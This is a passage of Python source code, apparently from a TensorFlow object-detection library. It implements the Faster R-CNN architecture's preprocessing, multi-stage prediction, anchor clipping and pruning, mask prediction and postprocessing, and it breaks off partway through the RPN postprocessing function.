self._second_stage_loc_loss_weight = second_stage_localization_loss_weight self._second_stage_cls_loss_weight = second_stage_classification_loss_weight self._second_stage_mask_loss_weight = ( second_stage_mask_prediction_loss_weight) self._hard_example_miner = hard_example_miner self._parallel_iterations = parallel_iterations self.clip_anchors_to_image = clip_anchors_to_image if self._number_of_stages <= 0 or self._number_of_stages > 3: raise ValueError('Number of stages should be a value in {1, 2, 3}.') self._batched_prediction_tensor_names = [] @property def first_stage_feature_extractor_scope(self): return 'FirstStageFeatureExtractor' @property def second_stage_feature_extractor_scope(self): return 'SecondStageFeatureExtractor' @property def first_stage_box_predictor_scope(self): return 'FirstStageBoxPredictor' @property def second_stage_box_predictor_scope(self): return 'SecondStageBoxPredictor' @property def max_num_proposals(self): """Max number of proposals (to pad to) for each image in the input batch. At training time, this is set to be the `second_stage_batch_size` if hard example miner is not configured, else it is set to `first_stage_max_proposals`. At inference time, this is always set to `first_stage_max_proposals`. Returns: A positive integer. """ if self._is_training and not self._hard_example_miner: return self._second_stage_batch_size return self._first_stage_max_proposals @property def anchors(self): if not self._anchors: raise RuntimeError('anchors have not been constructed yet!') if not isinstance(self._anchors, box_list.BoxList): raise RuntimeError('anchors should be a BoxList object, but is not.') return self._anchors @property def batched_prediction_tensor_names(self): if not self._batched_prediction_tensor_names: raise RuntimeError('Must call predict() method to get batched prediction ' 'tensor names.') return self._batched_prediction_tensor_names def preprocess(self, inputs): """Feature-extractor specific preprocessing. See base class. For Faster R-CNN, we perform image resizing in the base class --- each class subclassing FasterRCNNMetaArch is responsible for any additional preprocessing (e.g., scaling pixel values to be in [-1, 1]). Args: inputs: a [batch, height_in, width_in, channels] float tensor representing a batch of images with values between 0 and 255.0. Returns: preprocessed_inputs: a [batch, height_out, width_out, channels] float tensor representing a batch of images. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Raises: ValueError: if inputs tensor does not have type tf.float32 """ if inputs.dtype is not tf.float32: raise ValueError('`preprocess` expects a tf.float32 tensor') with tf.name_scope('Preprocessor'): outputs = shape_utils.static_or_dynamic_map_fn( self._image_resizer_fn, elems=inputs, dtype=[tf.float32, tf.int32], parallel_iterations=self._parallel_iterations) resized_inputs = outputs[0] true_image_shapes = outputs[1] return (self._feature_extractor.preprocess(resized_inputs), true_image_shapes) def _compute_clip_window(self, image_shapes): """Computes clip window for non max suppression based on image shapes. This function assumes that the clip window's left top corner is at (0, 0). Args: image_shapes: A 2-D int32 tensor of shape [batch_size, 3] containing shapes of images in the batch. Each row represents [height, width, channels] of an image. Returns: A 2-D float32 tensor of shape [batch_size, 4] containing the clip window for each image in the form [ymin, xmin, ymax, xmax]. """ clip_heights = image_shapes[:, 0] clip_widths = image_shapes[:, 1] clip_window = tf.cast( tf.stack([ tf.zeros_like(clip_heights), tf.zeros_like(clip_heights), clip_heights, clip_widths ], axis=1), dtype=tf.float32) return clip_window def _proposal_postprocess(self, rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, image_shape, true_image_shapes): """Wraps over FasterRCNNMetaArch._postprocess_rpn().""" image_shape_2d = self._image_batch_shape_2d(image_shape) proposal_boxes_normalized, _, _, num_proposals, _, _ = \ self._postprocess_rpn( rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, image_shape_2d, true_image_shapes) return proposal_boxes_normalized, num_proposals def predict(self, preprocessed_inputs, true_image_shapes): """Predicts unpostprocessed tensors from input tensor. This function takes an input batch of images and runs it through the forward pass of the network to yield "raw" un-postprocessed predictions. If `number_of_stages` is 1, this function only returns first stage RPN predictions (un-postprocessed). Otherwise it returns both first stage RPN predictions as well as second stage box classifier predictions. Other remarks: + Anchor pruning vs. clipping: following the recommendation of the Faster R-CNN paper, we prune anchors that venture outside the image window at training time and clip anchors to the image window at inference time. + Proposal padding: as described at the top of the file, proposals are padded to self._max_num_proposals and flattened so that proposals from all images within the input batch are arranged along the same batch dimension. Args: preprocessed_inputs: a [batch, height, width, channels] float tensor representing a batch of images. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) rpn_box_predictor_features: A 4-D float32 tensor with shape [batch_size, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. 2) rpn_features_to_crop: A 4-D float32 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. 3) image_shape: a 1-D tensor of shape [4] representing the input image shape. 4) rpn_box_encodings: 3-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. 5) rpn_objectness_predictions_with_background: 3-D float tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). 6) anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN (in absolute coordinates). Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. (and if number_of_stages > 1): 7) refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 8) class_predictions_with_background: a 3-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 9) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 10) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 11) mask_predictions: (optional) a 4-D tensor with shape [total_num_padded_proposals, num_classes, mask_height, mask_width] containing instance mask predictions. Raises: ValueError: If `predict` is called before `preprocess`. """ prediction_dict = self._predict_first_stage(preprocessed_inputs) if self._number_of_stages >= 2: prediction_dict.update( self._predict_second_stage( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['rpn_features_to_crop'], prediction_dict['anchors'], prediction_dict['image_shape'], true_image_shapes)) if self._number_of_stages == 3: prediction_dict = self._predict_third_stage(prediction_dict, true_image_shapes) self._batched_prediction_tensor_names = [ x for x in prediction_dict if x not in ('image_shape', 'anchors') ] return prediction_dict def _predict_first_stage(self, preprocessed_inputs): """First stage of prediction. Args: preprocessed_inputs: a [batch, height, width, channels] float tensor representing a batch of images. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) rpn_box_predictor_features: A 4-D float32/bfloat16 tensor with shape [batch_size, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. 2) rpn_features_to_crop: A 4-D float32/bfloat16 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. 3) image_shape: a 1-D tensor of shape [4] representing the input image shape. 4) rpn_box_encodings: 3-D float32 tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. 5) rpn_objectness_predictions_with_background: 3-D float32 tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). 6) anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN (in absolute coordinates). Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. """ (rpn_box_predictor_features, rpn_features_to_crop, anchors_boxlist, image_shape) = self._extract_rpn_feature_maps(preprocessed_inputs) (rpn_box_encodings, rpn_objectness_predictions_with_background ) = self._predict_rpn_proposals(rpn_box_predictor_features) # The Faster R-CNN paper recommends pruning anchors that venture outside # the image window at training time and clipping at inference time. clip_window = tf.cast(tf.stack([0, 0, image_shape[1], image_shape[2]]), dtype=tf.float32) if self._is_training: if self.clip_anchors_to_image: anchors_boxlist = box_list_ops.clip_to_window( anchors_boxlist, clip_window, filter_nonoverlapping=False) else: (rpn_box_encodings, rpn_objectness_predictions_with_background, anchors_boxlist) = self._remove_invalid_anchors_and_predictions( rpn_box_encodings, rpn_objectness_predictions_with_background, anchors_boxlist, clip_window) else: anchors_boxlist = box_list_ops.clip_to_window( anchors_boxlist, clip_window, filter_nonoverlapping=not self._use_static_shapes) self._anchors = anchors_boxlist prediction_dict = { 'rpn_box_predictor_features': rpn_box_predictor_features, 'rpn_features_to_crop': rpn_features_to_crop, 'image_shape': image_shape, 'rpn_box_encodings': tf.cast(rpn_box_encodings, dtype=tf.float32), 'rpn_objectness_predictions_with_background': tf.cast(rpn_objectness_predictions_with_background, dtype=tf.float32), 'anchors': anchors_boxlist.data['boxes'], } return prediction_dict def _image_batch_shape_2d(self, image_batch_shape_1d): """Takes a 1-D image batch shape tensor and converts it to a 2-D tensor. Example: If 1-D image batch shape tensor is [2, 300, 300, 3]. The corresponding 2-D image batch tensor would be [[300, 300, 3], [300, 300, 3]] Args: image_batch_shape_1d: 1-D tensor of the form [batch_size, height, width, channels]. Returns: image_batch_shape_2d: 2-D tensor of shape [batch_size, 3] were each row is of the form [height, width, channels]. """ return tf.tile(tf.expand_dims(image_batch_shape_1d[1:], 0), [image_batch_shape_1d[0], 1]) def _predict_second_stage(self, rpn_box_encodings, rpn_objectness_predictions_with_background, rpn_features_to_crop, anchors, image_shape, true_image_shapes): """Predicts the output tensors from second stage of Faster R-CNN. Args: rpn_box_encodings: 4-D float tensor of shape [batch_size, num_valid_anchors, self._box_coder.code_size] containing predicted boxes. rpn_objectness_predictions_with_background: 2-D float tensor of shape [batch_size, num_valid_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). rpn_features_to_crop: A 4-D float32 or bfloat16 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. anchors: 2-D float tensor of shape [num_anchors, self._box_coder.code_size]. image_shape: A 1D int32 tensors of size [4] containing the image shape. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) refined_box_encodings: a 3-D float32 tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 2) class_predictions_with_background: a 3-D float32 tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 3) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 4) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 5) proposal_boxes_normalized: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in normalized coordinates. Can be used to override the boxes proposed by the RPN, thus enabling one to extract features and get box classification and prediction for externally selected areas of the image. 6) box_classifier_features: a 4-D float32/bfloat16 tensor representing the features for each proposal. """ proposal_boxes_normalized, num_proposals = self._proposal_postprocess( rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, image_shape, true_image_shapes) prediction_dict = self._box_prediction(rpn_features_to_crop, proposal_boxes_normalized, image_shape) prediction_dict['num_proposals'] = num_proposals return prediction_dict def _box_prediction(self, rpn_features_to_crop, proposal_boxes_normalized, image_shape): """Predicts the output tensors from second stage of Faster R-CNN. Args: rpn_features_to_crop: A 4-D float32 or bfloat16 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. proposal_boxes_normalized: A float tensor with shape [batch_size, max_num_proposals, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented as normalized coordinates. image_shape: A 1D int32 tensors of size [4] containing the image shape. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) refined_box_encodings: a 3-D float32 tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 2) class_predictions_with_background: a 3-D float32 tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 3) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 4) proposal_boxes_normalized: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in normalized coordinates. Can be used to override the boxes proposed by the RPN, thus enabling one to extract features and get box classification and prediction for externally selected areas of the image. 5) box_classifier_features: a 4-D float32/bfloat16 tensor representing the features for each proposal. """ flattened_proposal_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, proposal_boxes_normalized)) box_classifier_features = self._extract_box_classifier_features( flattened_proposal_feature_maps) if self._mask_rcnn_box_predictor.is_keras_model: box_predictions = self._mask_rcnn_box_predictor( [box_classifier_features], prediction_stage=2) else: box_predictions = self._mask_rcnn_box_predictor.predict( [box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=2) refined_box_encodings = tf.squeeze( box_predictions[box_predictor.BOX_ENCODINGS], axis=1, name='all_refined_box_encodings') class_predictions_with_background = tf.squeeze( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1, name='all_class_predictions_with_background') absolute_proposal_boxes = ops.normalized_to_image_coordinates( proposal_boxes_normalized, image_shape, self._parallel_iterations) prediction_dict = { 'refined_box_encodings': tf.cast(refined_box_encodings, dtype=tf.float32), 'class_predictions_with_background': tf.cast(class_predictions_with_background, dtype=tf.float32), 'proposal_boxes': absolute_proposal_boxes, 'box_classifier_features': box_classifier_features, 'proposal_boxes_normalized': proposal_boxes_normalized, } return prediction_dict def _extract_box_classifier_features(self, flattened_feature_maps): if self._feature_extractor_for_box_classifier_features == ( _UNINITIALIZED_FEATURE_EXTRACTOR): self._feature_extractor_for_box_classifier_features = ( self._feature_extractor.get_box_classifier_feature_extractor_model( name=self.second_stage_feature_extractor_scope)) if self._feature_extractor_for_box_classifier_features: box_classifier_features = ( self._feature_extractor_for_box_classifier_features( flattened_feature_maps)) else: box_classifier_features = ( self._feature_extractor.extract_box_classifier_features( flattened_feature_maps, scope=self.second_stage_feature_extractor_scope)) return box_classifier_features def _predict_third_stage(self, prediction_dict, image_shapes): """Predicts non-box, non-class outputs using refined detections. For training, masks as predicted directly on the box_classifier_features, which are region-features from the initial anchor boxes. For inference, this happens after calling the post-processing stage, such that masks are only calculated for the top scored boxes. Args: prediction_dict: a dictionary holding "raw" prediction tensors: 1) refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 2) class_predictions_with_background: a 3-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 3) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 4) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 5) box_classifier_features: a 4-D float32 tensor representing the features for each proposal. image_shapes: A 2-D int32 tensors of shape [batch_size, 3] containing shapes of images in the batch. Returns: prediction_dict: a dictionary that in addition to the input predictions does hold the following predictions as well: 1) mask_predictions: a 4-D tensor with shape [batch_size, max_detection, mask_height, mask_width] containing instance mask predictions. """ if self._is_training: curr_box_classifier_features = prediction_dict['box_classifier_features'] detection_classes = prediction_dict['class_predictions_with_background'] if self._mask_rcnn_box_predictor.is_keras_model: mask_predictions = self._mask_rcnn_box_predictor( [curr_box_classifier_features], prediction_stage=3) else: mask_predictions = self._mask_rcnn_box_predictor.predict( [curr_box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=3) prediction_dict['mask_predictions'] = tf.squeeze(mask_predictions[ box_predictor.MASK_PREDICTIONS], axis=1) else: detections_dict = self._postprocess_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], image_shapes) prediction_dict.update(detections_dict) detection_boxes = detections_dict[ fields.DetectionResultFields.detection_boxes] detection_classes = detections_dict[ fields.DetectionResultFields.detection_classes] rpn_features_to_crop = prediction_dict['rpn_features_to_crop'] batch_size = tf.shape(detection_boxes)[0] max_detection = tf.shape(detection_boxes)[1] flattened_detected_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, detection_boxes)) curr_box_classifier_features = self._extract_box_classifier_features( flattened_detected_feature_maps) if self._mask_rcnn_box_predictor.is_keras_model: mask_predictions = self._mask_rcnn_box_predictor( [curr_box_classifier_features], prediction_stage=3) else: mask_predictions = self._mask_rcnn_box_predictor.predict( [curr_box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=3) detection_masks = tf.squeeze(mask_predictions[ box_predictor.MASK_PREDICTIONS], axis=1) _, num_classes, mask_height, mask_width = ( detection_masks.get_shape().as_list()) _, max_detection = detection_classes.get_shape().as_list() prediction_dict['mask_predictions'] = tf.reshape( detection_masks, [-1, num_classes, mask_height, mask_width]) if num_classes > 1: detection_masks = self._gather_instance_masks( detection_masks, detection_classes) detection_masks = tf.cast(detection_masks, tf.float32) prediction_dict[fields.DetectionResultFields.detection_masks] = ( tf.reshape(tf.sigmoid(detection_masks), [batch_size, max_detection, mask_height, mask_width])) return prediction_dict def _gather_instance_masks(self, instance_masks, classes): """Gathers the masks that correspond to classes. Args: instance_masks: A 4-D float32 tensor with shape [K, num_classes, mask_height, mask_width]. classes: A 2-D int32 tensor with shape [batch_size, max_detection]. Returns: masks: a 3-D float32 tensor with shape [K, mask_height, mask_width]. """ _, num_classes, height, width = instance_masks.get_shape().as_list() k = tf.shape(instance_masks)[0] instance_masks = tf.reshape(instance_masks, [-1, height, width]) classes = tf.cast(tf.reshape(classes, [-1]), dtype=tf.int32) gather_idx = tf.range(k) * num_classes + classes return tf.gather(instance_masks, gather_idx) def _extract_rpn_feature_maps(self, preprocessed_inputs): """Extracts RPN features. This function extracts two feature maps: a feature map to be directly fed to a box predictor (to predict location and objectness scores for proposals) and a feature map from which to crop regions which will then be sent to the second stage box classifier. Args: preprocessed_inputs: a [batch, height, width, channels] image tensor. Returns: rpn_box_predictor_features: A 4-D float32 tensor with shape [batch, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. rpn_features_to_crop: A 4-D float32 tensor with shape [batch, height, width, depth] representing image features to crop using the proposals boxes. anchors: A BoxList representing anchors (for the RPN) in absolute coordinates. image_shape: A 1-D tensor representing the input image shape. """ image_shape = tf.shape(preprocessed_inputs) rpn_features_to_crop, self.endpoints = self._extract_proposal_features( preprocessed_inputs) feature_map_shape = tf.shape(rpn_features_to_crop) anchors = box_list_ops.concatenate( self._first_stage_anchor_generator.generate([(feature_map_shape[1], feature_map_shape[2])])) rpn_box_predictor_features = ( self._first_stage_box_predictor_first_conv(rpn_features_to_crop)) return (rpn_box_predictor_features, rpn_features_to_crop, anchors, image_shape) def _extract_proposal_features(self, preprocessed_inputs): if self._feature_extractor_for_proposal_features == ( _UNINITIALIZED_FEATURE_EXTRACTOR): self._feature_extractor_for_proposal_features = ( self._feature_extractor.get_proposal_feature_extractor_model( name=self.first_stage_feature_extractor_scope)) if self._feature_extractor_for_proposal_features: proposal_features = ( self._feature_extractor_for_proposal_features(preprocessed_inputs), {}) else: proposal_features = ( self._feature_extractor.extract_proposal_features( preprocessed_inputs, scope=self.first_stage_feature_extractor_scope)) return proposal_features def _predict_rpn_proposals(self, rpn_box_predictor_features): """Adds box predictors to RPN feature map to predict proposals. Note resulting tensors will not have been postprocessed. Args: rpn_box_predictor_features: A 4-D float32 tensor with shape [batch, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. Returns: box_encodings: 3-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. objectness_predictions_with_background: 3-D float tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). Raises: RuntimeError: if the anchor generator generates anchors corresponding to multiple feature maps. We currently assume that a single feature map is generated for the RPN. """ num_anchors_per_location = ( self._first_stage_anchor_generator.num_anchors_per_location()) if len(num_anchors_per_location) != 1: raise RuntimeError('anchor_generator is expected to generate anchors ' 'corresponding to a single feature map.') if self._first_stage_box_predictor.is_keras_model: box_predictions = self._first_stage_box_predictor( [rpn_box_predictor_features]) else: box_predictions = self._first_stage_box_predictor.predict( [rpn_box_predictor_features], num_anchors_per_location, scope=self.first_stage_box_predictor_scope) box_encodings = tf.concat( box_predictions[box_predictor.BOX_ENCODINGS], axis=1) objectness_predictions_with_background = tf.concat( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1) return (tf.squeeze(box_encodings, axis=2), objectness_predictions_with_background) def _remove_invalid_anchors_and_predictions( self, box_encodings, objectness_predictions_with_background, anchors_boxlist, clip_window): """Removes anchors that (partially) fall outside an image. Also removes associated box encodings and objectness predictions. Args: box_encodings: 3-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. objectness_predictions_with_background: 3-D float tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). anchors_boxlist: A BoxList representing num_anchors anchors (for the RPN) in absolute coordinates. clip_window: a 1-D tensor representing the [ymin, xmin, ymax, xmax] extent of the window to clip/prune to. Returns: box_encodings: 4-D float tensor of shape [batch_size, num_valid_anchors, self._box_coder.code_size] containing predicted boxes, where num_valid_anchors <= num_anchors objectness_predictions_with_background: 2-D float tensor of shape [batch_size, num_valid_anchors, 2] containing class predictions (logits) for each of the anchors, where num_valid_anchors <= num_anchors. Note that this tensor *includes* background class predictions (at class index 0). anchors: A BoxList representing num_valid_anchors anchors (for the RPN) in absolute coordinates. """ pruned_anchors_boxlist, keep_indices = box_list_ops.prune_outside_window( anchors_boxlist, clip_window) def _batch_gather_kept_indices(predictions_tensor): return shape_utils.static_or_dynamic_map_fn( functools.partial(tf.gather, indices=keep_indices), elems=predictions_tensor, dtype=tf.float32, parallel_iterations=self._parallel_iterations, back_prop=True) return (_batch_gather_kept_indices(box_encodings), _batch_gather_kept_indices(objectness_predictions_with_background), pruned_anchors_boxlist) def _flatten_first_two_dimensions(self, inputs): """Flattens `K-d` tensor along batch dimension to be a `(K-1)-d` tensor. Converts `inputs` with shape [A, B, ..., depth] into a tensor of shape [A * B, ..., depth]. Args: inputs: A float tensor with shape [A, B, ..., depth]. Note that the first two and last dimensions must be statically defined. Returns: A float tensor with shape [A * B, ..., depth] (where the first and last dimension are statically defined. """ combined_shape = shape_utils.combined_static_and_dynamic_shape(inputs) flattened_shape = tf.stack([combined_shape[0] * combined_shape[1]] + combined_shape[2:]) return tf.reshape(inputs, flattened_shape) def postprocess(self, prediction_dict, true_image_shapes): """Convert prediction tensors to final detections. This function converts raw predictions tensors to final detection results. See base class for output format conventions. Note also that by default, scores are to be interpreted as logits, but if a score_converter is used, then scores are remapped (and may thus have a different interpretation). If number_of_stages=1, the returned results represent proposals from the first stage RPN and are padded to have self.max_num_proposals for each image; otherwise, the results can be interpreted as multiclass detections from the full two-stage model and are padded to self._max_detections. Args: prediction_dict: a dictionary holding prediction tensors (see the documentation for the predict method. If number_of_stages=1, we expect prediction_dict to contain `rpn_box_encodings`, `rpn_objectness_predictions_with_background`, `rpn_features_to_crop`, and `anchors` fields. Otherwise we expect prediction_dict to additionally contain `refined_box_encodings`, `class_predictions_with_background`, `num_proposals`, `proposal_boxes` and, optionally, `mask_predictions` fields. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: detections: a dictionary containing the following fields detection_boxes: [batch, max_detection, 4] detection_scores: [batch, max_detections] detection_multiclass_scores: [batch, max_detections, 2] detection_classes: [batch, max_detections] (this entry is only created if rpn_mode=False) num_detections: [batch] raw_detection_boxes: [batch, max_detections, 4] raw_detection_scores: [batch, max_detections, num_classes + 1] Raises: ValueError: If `predict` is called before `preprocess`. """ with tf.name_scope('FirstStagePostprocessor'): if self._number_of_stages == 1: (proposal_boxes, proposal_scores, proposal_multiclass_scores, num_proposals, raw_proposal_boxes, raw_proposal_scores) = self._postprocess_rpn( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['anchors'], true_image_shapes, true_image_shapes) return { fields.DetectionResultFields.detection_boxes: proposal_boxes, fields.DetectionResultFields.detection_scores: proposal_scores, fields.DetectionResultFields.detection_multiclass_scores: proposal_multiclass_scores, fields.DetectionResultFields.num_detections: tf.cast(num_proposals, dtype=tf.float32), fields.DetectionResultFields.raw_detection_boxes: raw_proposal_boxes, fields.DetectionResultFields.raw_detection_scores: raw_proposal_scores } # TODO(jrru): Remove mask_predictions from _post_process_box_classifier. if (self._number_of_stages == 2 or (self._number_of_stages == 3 and self._is_training)): with tf.name_scope('SecondStagePostprocessor'): mask_predictions = prediction_dict.get(box_predictor.MASK_PREDICTIONS) detections_dict = self._postprocess_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], true_image_shapes, mask_predictions=mask_predictions) if 'rpn_features_to_crop' in prediction_dict and self._initial_crop_size: detections_dict[ 'detection_features'] = self._add_detection_features_output_node( detections_dict[fields.DetectionResultFields.detection_boxes], prediction_dict['rpn_features_to_crop']) return detections_dict if self._number_of_stages == 3: # Post processing is already performed in 3rd stage. We need to transfer # postprocessed tensors from `prediction_dict` to `detections_dict`. return prediction_dict def _add_detection_features_output_node(self, detection_boxes, rpn_features_to_crop): """Add detection features to outputs. This function extracts box features for each box in rpn_features_to_crop. It returns the extracted box features, reshaped to [batch size, max_detections, height, width, depth], and average pools the extracted features across the spatial dimensions and adds a graph node to the pooled features named 'pooled_detection_features' Args: detection_boxes: a 3-D float32 tensor of shape [batch_size, max_detections, 4] which represents the bounding boxes. rpn_features_to_crop: A 4-D float32 tensor with shape [batch, height, width, depth] representing image features to crop using the proposals boxes. Returns: detection_features: a 4-D float32 tensor of shape [batch size, max_detections, height, width, depth] representing cropped image features """ with tf.name_scope('SecondStageDetectionFeaturesExtract'): flattened_detected_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, detection_boxes)) detection_features_unpooled = self._extract_box_classifier_features( flattened_detected_feature_maps) batch_size = tf.shape(detection_boxes)[0] max_detections = tf.shape(detection_boxes)[1] detection_features_pool = tf.reduce_mean( detection_features_unpooled, axis=[1, 2]) reshaped_detection_features_pool = tf.reshape( detection_features_pool, [batch_size, max_detections, tf.shape(detection_features_pool)[-1]]) reshaped_detection_features_pool = tf.identity( reshaped_detection_features_pool, 'pooled_detection_features') reshaped_detection_features = tf.reshape( detection_features_unpooled, [batch_size, max_detections, tf.shape(detection_features_unpooled)[1], tf.shape(detection_features_unpooled)[2], tf.shape(detection_features_unpooled)[3]]) return reshaped_detection_features def _postprocess_rpn(self, rpn_box_encodings_batch, rpn_objectness_predictions_with_background_batch, anchors, image_shapes, true_image_shapes): """Converts first stage prediction tensors from the RPN to proposals. This function decodes the raw RPN predictions, runs non-max suppression on the result. Note that the behavior of this function is slightly modified during training --- specifically, we stop the gradient from passing through the proposal boxes and we only return a balanced sampled subset of proposals with size `second_stage_batch_size`. Args: rpn_box_encodings_batch: A 3-D float32 tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted proposal box encodings. rpn_objectness_predictions_with_background_batch: A 3-D float tensor of shape [batch_size, num_anchors, 2] containing objectness predictions (logits) for each of the anchors with 0 corresponding to background and 1 corresponding to object. anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN. Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. image_shapes: A 2-D tensor of shape [batch, 3] containing the shapes of images in the batch. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: proposal_boxes: A float tensor with shape [batch_size, max_num_proposals, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented as normalized coordinates. proposal_scores: A float tensor with shape [batch_size, max_num_proposals] representing the (potentially zero padded) proposal objectness scores for all images in the batch. proposal_multiclass_scores: A float tensor with shape [batch_size, max_num_proposals, 2] representing the (potentially zero padded) proposal multiclass scores for all images in the batch. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. raw_detection_boxes: [batch, total_detections, 4] tensor with decoded proposal boxes before Non-Max Suppression. raw_detection_scores: [batch, total_detections, num_classes_with_background] tensor of multi-class scores for raw proposal boxes. """ rpn_box_encodings_batch = tf.expand_dims(rpn_box_encodings_batch, axis=2) rpn_encodings_shape = shape_utils.combined_static_and_dynamic_shape( rpn_box_encodings_batch) tiled_anchor_boxes = tf.tile( 